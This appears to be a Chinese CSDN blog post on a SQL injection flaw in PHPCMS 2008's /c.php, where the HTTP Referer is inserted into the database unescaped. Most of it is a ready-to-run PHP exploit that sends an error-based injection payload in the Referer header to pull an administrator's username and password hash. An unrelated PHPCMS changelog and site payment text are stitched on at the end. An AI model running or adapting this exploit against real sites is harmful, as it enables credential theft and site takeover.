php cms2008代码注入,phpcms2008 SQL注入漏洞(漏洞文件/c.php)

该博客详细介绍了PHP CMS的一个SQL注入漏洞,通过可控的HTTP_REFERER字段,绕过GPC防护,利用$db->insert()函数的SQL构造问题,执行恶意SQL更新和插入操作。文中给出了exploit代码,演示了如何利用此漏洞获取潜在的用户名和密码信息。此外,还讨论了错误处理和可能的防御措施。
摘要由CSDN通过智能技术生成

漏洞文件/c.php

require './ads/include/common.inc.php';

$id = intval($id);

$ads = $c_ads->get_info($id);

if($ads)

{

$db->query("UPDATE ".DB_PRE."ads SET `clicks`=clicks+1 WHERE adsid=".$ads['adsid']);

$info['username'] = $_username;

$info['clicktime'] = time();

$info['ip'] = IP;

$info['adsid'] = $id;

$info['referer'] = HTTP_REFERER;//直接赋值

$year = date('ym',TIME);

$table = DB_PRE.'ads_'.$year;

$table_status = $db->table_status($table);

if(!$table_status) {

include MOD_ROOT.'include/create.table.php';

}

$db->insert($table, $info);//进行数据库查询

$url = strpos($ads['linkurl'], 'http://')===FALSE ? 'http://'.$ads['linkurl'] : $ads['linkurl'];

}

?>

而define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');

可见我们可以控制HTTP_REFERER,而且不受GPC控制。

$db->insert函数如下:

function insert($tablename, $array)

{

$this->check_fields($tablename, $array);

return $this->query("INSERT INTO `$tablename`(`".implode('`,`', array_keys($array))."`) VALUES('".implode("','", $array)."')");

}

下面是exp

--------------------begain--------------

print "\n+------------------------------------------------------+";

print "\n| Phpcms2008 /c.php SQL injection Exploit by qingsh4n  |";

print "\n+------------------------------------------------------+\n";

$match = array();

if ($argc 

{

print "\nUsage......: php $argv[0] host path\n";

print "\nExample....: php $argv[0] localhost /\n";

print "\nExample....: php $argv[0] localhost /phpcms/\n";

die();

}

$query_string = $argv[2]."c.php?id=1";

$host = $argv[1];

//$path = ereg_replace("(/){2,}", "/", $argv[2]);

print "[+]Exp is posting data!\n";

$return_data = post_request($host, $query_string);

//echo $return_data;

//preg_match("/Duplicate entry '~(.*)~(.*)~1' for key/", $return_data, $match);

//print_r($a);

if(preg_match("/Duplicate entry '~(.*)~(.*)~1' for key/", $return_data, $match)){

print "[+]It's ok!\n";

print "[+]Usrname is: $match[1]\n";

print "[+]Password is: $match[2]\n";

die("[+]Bye");

}

if(preg_match("/Bad Request/", $return_data)){

print "[-]May be error switch off!\n";

die("[-]Bye");

} www.2cto.com

if(preg_match("/Table 'phpcms.phpcms_member' doesn't exist/", $return_data)){

preg_match("/INSERT INTO `(.*)_ads_1211/", $return_data, $match);

print "[-]May be database Prefix changed!\n";

print "[-]Database Prefix is: $match[1]\n";

print "[-]Please change payload by yourself!\n";

die("[-]Bye");

}else{

print "[-]May be not affected!\n";

die("[-]Bye");

}

function post_request($remote_server, $remote_path, $post_string = "", $port = 80, $timeout = 30){

$payload = "Referer: qingshen'),('','1353245103','121.8.210.25',(select 2 from(select count(*),concat((select (select (select concat(0x7e,phpcms_member.username,0x7e,phpcms_member.password,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)),('admin','1353245103','121.8.210.205','1','qingshen";

$socket = fsockopen($remote_server, $port, $errno, $errstr, $timeout);

if (!$socket) die("$errstr($errno)");

fwrite($socket, "GET $remote_path HTTP/1.0\r\n");

fwrite($socket, "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0\r\n");

fwrite($socket, "Host: $remote_server\r\n");

fwrite($socket, "Content-type: application/x-www-form-urlencoded\r\n");

fwrite($socket, "Accept:*/*\r\n");

fwrite($socket, "Referer: $payload\r\n");

fwrite($socket, "\r\n");

$header = "";

while ($str = trim(fgets($socket, 4096))) {

$header .= $str;

}

$data = "";

while (!feof($socket)) {

$data .= fgets($socket, 4096);

}

return $data;

}

------------------------end---------------------

32446184_1.jpg

升级内容: 1、修正了编辑文章上传图片重复生成图片文件的问题 2、修正了同一IP24小时允许的最大上传附件数,超过时,上传图片直接返回错误的路径,uploadfile/ 3、修正了include/global.func.phpthumb函数问题 4、修正了整合后,utf8登陆乱码问题 5、修正了内容页面分页第一页为空问题 6、修正了专题多页分页时,导致500错误 7、修正了在没有开启php缓存时,问吧首页无法缓存问题 8、'FCKLang未定义'错误的解决办法问题:属编码问题,在本机使用记事本打开fckeditor\editor\lang\zh-cn.js,不用修改任何内容,重新保存后上传服务器覆盖原文件即可解决。 9、修正了栏目设置中在是否添加水印设置无效 10、修正了上传设置图片选项卡设置图片宽度无效问题 11、修正了自定义表单中上传条设置了后缀后,前台显示的还是所有的后缀都是可以的,实际上只有后台设置的后缀是可以上传的。 12、修正了表单向导SQL报错问题Parseerror:syntaxerror,unexpected';' 修改了模板文件/formguide/header.html{php$types=cache_read('search_type.php');} 13、修正了表单向导在系统没有安装到根目录下时,前台上传文件打开地址路径错误 14、修正了表单向导前台上传没有格式化上传大小字节数 15、修正了后台界面框架调用问题 16、修正了手动更新模板缓存后,等待页面操作成功后自动跳转返回的页面重复,显得很粗糙 17、修正了自动提取关键词关闭后没有用,照样自动提取问题 18、修正了表单向导,前台展示链接问题 19、修正了表单向导,信息无法删除问题 20、修正了专题暂停无效问题 21、分类TYPE无法再不同模型下添加相同分类名称 22、修正了黄页管理公司的问题只显示前20个公司 23、当关闭广告模块中的统计广告点击次数功能后,链接地址不正确: 24、升级后凡是缩略图为连接的,相关地方就会出现Warning:getimagesize 25、JS跨站调用后,内容显示链接怎么不对 26、评论页表情符号和换行问题 27、碎片bug权限等问题 28、修正了008sp1整合UC注册不能送积分 29、修正了总编没有选择来源的权限 30、修正了总编没有管理文章评论的权限 31、修正了专题的动态设置无效的问题 32、特定环境下验证码不出来问题 33、广告模块添加flash广告后,修改是没有取值 34、修正了修改产品信息的时候,同时更新产品的更新时间 35、修正了分页子标题也解析关联链接 36、修正了MySQLQuery:INSERTINTO`phpcms_keyword`(`tag`,`usetimes`,`lastusetime`)VALUES('启示','1','1243414371') MySQLError:Duplicateentry''forkey2 37、修正了IE8下面兼容问题 38、php最新版本下出现的问题程序乱码显示 39、修正了模块下面的header.tpl.php头部文件标准需要统一 40、修正了升级后,修改内容后,原升级地址被修改 41、直接访问header.tpl.php暴漏网站安装地址问题 42、邮件发送在不同环境下,发送失败问题、 43、修正了水印问题 44、修正了广告被屏蔽把ads里面的clickads.php点击里面带有ads的问题 45、修正了文章发表成功后,再修改文章将其选择为待审。提示操作成功。但未成功的问题 46、修正了member_cache表和member数据条数不一致的时候,导致全站白屏问题 47、修正了专题的动态设置无效设置生成静态为“否”多时候网站不能以动态模式浏览 48、修正了专题分类和专题在重新设置模块的“是否生成html”后,需要手动的一个个修改专题,和分类才可以修复链接地址 49、MySQLQuery:UPDATE`phpcms2008_category`SET`pitems`=`pitems`+1WHERE`catid`IN() MySQLError:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear')'atline1 MySQLErrno:1064 Message:MySQLQueryError 在未修复栏目前,添加信息出错的问题。--已解决 50、修正了specail标签中未增加调用,disabled=0 51、删除文件:admin/mymap.inc.php 52、修正了管理组帐号被禁用后,仍然可以访
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值